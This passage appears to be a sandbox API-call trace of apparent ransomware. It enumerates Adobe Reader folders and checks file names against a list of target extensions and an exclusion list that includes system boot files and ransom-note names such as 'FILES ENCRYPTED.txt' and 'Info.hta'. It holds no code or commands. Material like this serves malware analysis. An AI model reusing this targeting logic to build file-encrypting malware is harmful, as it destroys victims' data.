	[0173.363] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".bd") returned 3
	[0173.363] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.363] lstrlenW (lpString=".bin") returned 4
	[0173.363] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".bmp") returned 4
	[0173.363] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".bz2") returned 4
	[0173.363] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".c") returned 2
	[0173.363] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.363] lstrlenW (lpString=".cdr") returned 4
	[0173.363] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".cer") returned 4
	[0173.364] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".cf") returned 3
	[0173.364] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.364] lstrlenW (lpString=".cfc") returned 4
	[0173.364] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".cfm") returned 4
	[0173.364] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".cfml") returned 5
	[0173.364] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.364] lstrlenW (lpString=".cfu") returned 4
	[0173.364] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".chm") returned 4
	[0173.364] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".cin") returned 4
	[0173.364] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".class") returned 6
	[0173.364] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.364] lstrlenW (lpString=".clx") returned 4
	[0173.364] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".config") returned 7
	[0173.364] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.364] lstrlenW (lpString=".cpp") returned 4
	[0173.364] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".cr2") returned 4
	[0173.364] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".crt") returned 4
	[0173.364] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".crw") returned 4
	[0173.364] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.364] lstrlenW (lpString=".cs") returned 3
	[0173.364] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.364] lstrlenW (lpString=".css") returned 4
	[0173.364] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".csv") returned 4
	[0173.365] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".cub") returned 4
	[0173.365] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dae") returned 4
	[0173.365] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dat") returned 4
	[0173.365] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".db") returned 3
	[0173.365] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.365] lstrlenW (lpString=".dbf") returned 4
	[0173.365] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dbx") returned 4
	[0173.365] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dc3") returned 4
	[0173.365] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dcm") returned 4
	[0173.365] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dcr") returned 4
	[0173.365] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".der") returned 4
	[0173.365] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dib") returned 4
	[0173.365] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dic") returned 4
	[0173.365] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".dif") returned 4
	[0173.365] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.365] lstrlenW (lpString=".divx") returned 5
	[0173.365] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.365] lstrlenW (lpString=".djvu") returned 5
	[0173.365] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.365] lstrlenW (lpString=".dng") returned 4
	[0173.365] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".doc") returned 4
	[0173.366] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".docm") returned 5
	[0173.366] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.366] lstrlenW (lpString=".docx") returned 5
	[0173.366] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.366] lstrlenW (lpString=".dot") returned 4
	[0173.366] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dotm") returned 5
	[0173.366] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.366] lstrlenW (lpString=".dotx") returned 5
	[0173.366] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.366] lstrlenW (lpString=".dpx") returned 4
	[0173.366] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dqy") returned 4
	[0173.366] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dsn") returned 4
	[0173.366] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dt") returned 3
	[0173.366] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.366] lstrlenW (lpString=".dtd") returned 4
	[0173.366] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dwg") returned 4
	[0173.366] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dwt") returned 4
	[0173.366] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".dx") returned 3
	[0173.366] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.366] lstrlenW (lpString=".dxf") returned 4
	[0173.366] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.366] lstrlenW (lpString=".edml") returned 5
	[0173.366] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.366] lstrlenW (lpString=".efd") returned 4
	[0173.366] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".elf") returned 4
	[0173.367] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".emf") returned 4
	[0173.367] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".emz") returned 4
	[0173.367] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".epf") returned 4
	[0173.367] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".eps") returned 4
	[0173.367] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".epsf") returned 5
	[0173.367] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0173.367] lstrlenW (lpString=".epsp") returned 5
	[0173.367] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0173.367] lstrlenW (lpString=".erf") returned 4
	[0173.367] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".exr") returned 4
	[0173.367] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".f4v") returned 4
	[0173.367] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".fido") returned 5
	[0173.367] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0173.367] lstrlenW (lpString=".flm") returned 4
	[0173.367] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".flv") returned 4
	[0173.367] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".frm") returned 4
	[0173.367] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0173.367] lstrlenW (lpString=".fxg") returned 4
	[0173.368] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0173.368] lstrlenW (lpString=".geo") returned 4
	[0173.368] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0173.368] lstrlenW (lpString=".gif") returned 4
	[0173.368] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0173.368] lstrlenW (lpString=".grs") returned 4
	[0173.368] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0173.368] lstrlenW (lpString=".gz") returned 3
	[0173.368] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0173.368] lstrlenW (lpString=".h") returned 2
	[0173.581] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0173.581] lstrlenW (lpString=".hdr") returned 4
	[0173.581] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0173.581] lstrlenW (lpString=".hpp") returned 4
	[0173.581] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0173.581] lstrlenW (lpString=".hta") returned 4
	[0173.601] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".htc") returned 4
	[0173.601] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".htm") returned 4
	[0173.601] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".html") returned 5
	[0173.601] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0173.601] lstrlenW (lpString=".icb") returned 4
	[0173.601] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".ics") returned 4
	[0173.601] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".iff") returned 4
	[0173.601] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".inc") returned 4
	[0173.601] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".indd") returned 5
	[0173.601] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0173.601] lstrlenW (lpString=".ini") returned 4
	[0173.601] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".iqy") returned 4
	[0173.601] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".j2c") returned 4
	[0173.601] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".j2k") returned 4
	[0173.601] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".java") returned 5
	[0173.601] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0173.601] lstrlenW (lpString=".jp2") returned 4
	[0173.601] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".jpc") returned 4
	[0173.601] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0173.601] lstrlenW (lpString=".jpe") returned 4
	[0173.602] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0173.602] lstrlenW (lpString=".jpeg") returned 5
	[0173.602] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0173.602] lstrlenW (lpString=".jpf") returned 4
	[0173.602] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0173.602] lstrlenW (lpString=".jpg") returned 4
	[0173.602] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0173.602] lstrlenW (lpString=".jpx") returned 4
	[0173.602] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0173.602] lstrlenW (lpString=".js") returned 3
	[0173.602] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0173.602] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.602] lstrlenW (lpString=".GTF") returned 4
	[0173.602] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0173.602] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.602] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0173.602] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0173.602] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sk-sk\\ui-strings.js") returned 129
	[0173.602] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x526, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0173.602] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0173.602] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.603] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.603] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sl-si") returned 115
	[0173.603] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sl-si") returned 1
	[0173.603] lstrlenW (lpString="sl-si") returned 5
	[0173.603] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1
	[0173.603] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42e29c8
	[0173.603] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sl-si") returned 115
	[0173.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sl-si\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140898
	[0173.603] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.603] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.603] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.604] lstrlenW (lpString=".1cd") returned 4
	[0173.604] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".3ds") returned 4
	[0173.604] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".3fr") returned 4
	[0173.604] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".3g2") returned 4
	[0173.604] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".3gp") returned 4
	[0173.604] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".7z") returned 3
	[0173.604] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.604] lstrlenW (lpString=".accda") returned 6
	[0173.604] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.604] lstrlenW (lpString=".accdb") returned 6
	[0173.604] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.604] lstrlenW (lpString=".accdc") returned 6
	[0173.604] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.604] lstrlenW (lpString=".accde") returned 6
	[0173.604] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.604] lstrlenW (lpString=".accdt") returned 6
	[0173.604] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.604] lstrlenW (lpString=".accdw") returned 6
	[0173.604] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.604] lstrlenW (lpString=".adb") returned 4
	[0173.604] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".adp") returned 4
	[0173.604] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".ai") returned 3
	[0173.604] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.604] lstrlenW (lpString=".ai3") returned 4
	[0173.604] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.604] lstrlenW (lpString=".ai4") returned 4
	[0173.605] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".ai5") returned 4
	[0173.605] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".ai6") returned 4
	[0173.605] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".ai7") returned 4
	[0173.605] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".ai8") returned 4
	[0173.605] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".anim") returned 5
	[0173.605] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.605] lstrlenW (lpString=".arw") returned 4
	[0173.605] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".as") returned 3
	[0173.605] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.605] lstrlenW (lpString=".asa") returned 4
	[0173.605] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".asc") returned 4
	[0173.605] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".ascx") returned 5
	[0173.605] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.605] lstrlenW (lpString=".asm") returned 4
	[0173.605] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".asmx") returned 5
	[0173.605] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.605] lstrlenW (lpString=".asp") returned 4
	[0173.605] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".aspx") returned 5
	[0173.605] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.605] lstrlenW (lpString=".asr") returned 4
	[0173.605] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.605] lstrlenW (lpString=".asx") returned 4
	[0173.605] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".avi") returned 4
	[0173.606] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".avs") returned 4
	[0173.606] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".backup") returned 7
	[0173.606] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.606] lstrlenW (lpString=".bak") returned 4
	[0173.606] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".bay") returned 4
	[0173.606] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".bd") returned 3
	[0173.606] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.606] lstrlenW (lpString=".bin") returned 4
	[0173.606] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".bmp") returned 4
	[0173.606] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".bz2") returned 4
	[0173.606] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".c") returned 2
	[0173.606] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.606] lstrlenW (lpString=".cdr") returned 4
	[0173.606] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".cer") returned 4
	[0173.606] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".cf") returned 3
	[0173.606] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.606] lstrlenW (lpString=".cfc") returned 4
	[0173.606] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".cfm") returned 4
	[0173.606] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.606] lstrlenW (lpString=".cfml") returned 5
	[0173.606] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.606] lstrlenW (lpString=".cfu") returned 4
	[0173.606] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".chm") returned 4
	[0173.607] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".cin") returned 4
	[0173.607] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".class") returned 6
	[0173.607] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.607] lstrlenW (lpString=".clx") returned 4
	[0173.607] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".config") returned 7
	[0173.607] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.607] lstrlenW (lpString=".cpp") returned 4
	[0173.607] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".cr2") returned 4
	[0173.607] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".crt") returned 4
	[0173.607] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".crw") returned 4
	[0173.607] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.607] lstrlenW (lpString=".cs") returned 3
	[0173.607] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.607] lstrlenW (lpString=".css") returned 4
	[0173.608] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".csv") returned 4
	[0173.608] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".cub") returned 4
	[0173.608] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dae") returned 4
	[0173.608] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dat") returned 4
	[0173.608] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".db") returned 3
	[0173.608] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.608] lstrlenW (lpString=".dbf") returned 4
	[0173.608] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dbx") returned 4
	[0173.608] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dc3") returned 4
	[0173.608] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dcm") returned 4
	[0173.608] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dcr") returned 4
	[0173.608] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".der") returned 4
	[0173.608] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dib") returned 4
	[0173.608] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dic") returned 4
	[0173.608] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".dif") returned 4
	[0173.608] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.608] lstrlenW (lpString=".divx") returned 5
	[0173.608] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.608] lstrlenW (lpString=".djvu") returned 5
	[0173.608] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.609] lstrlenW (lpString=".dng") returned 4
	[0173.609] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".doc") returned 4
	[0173.609] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".docm") returned 5
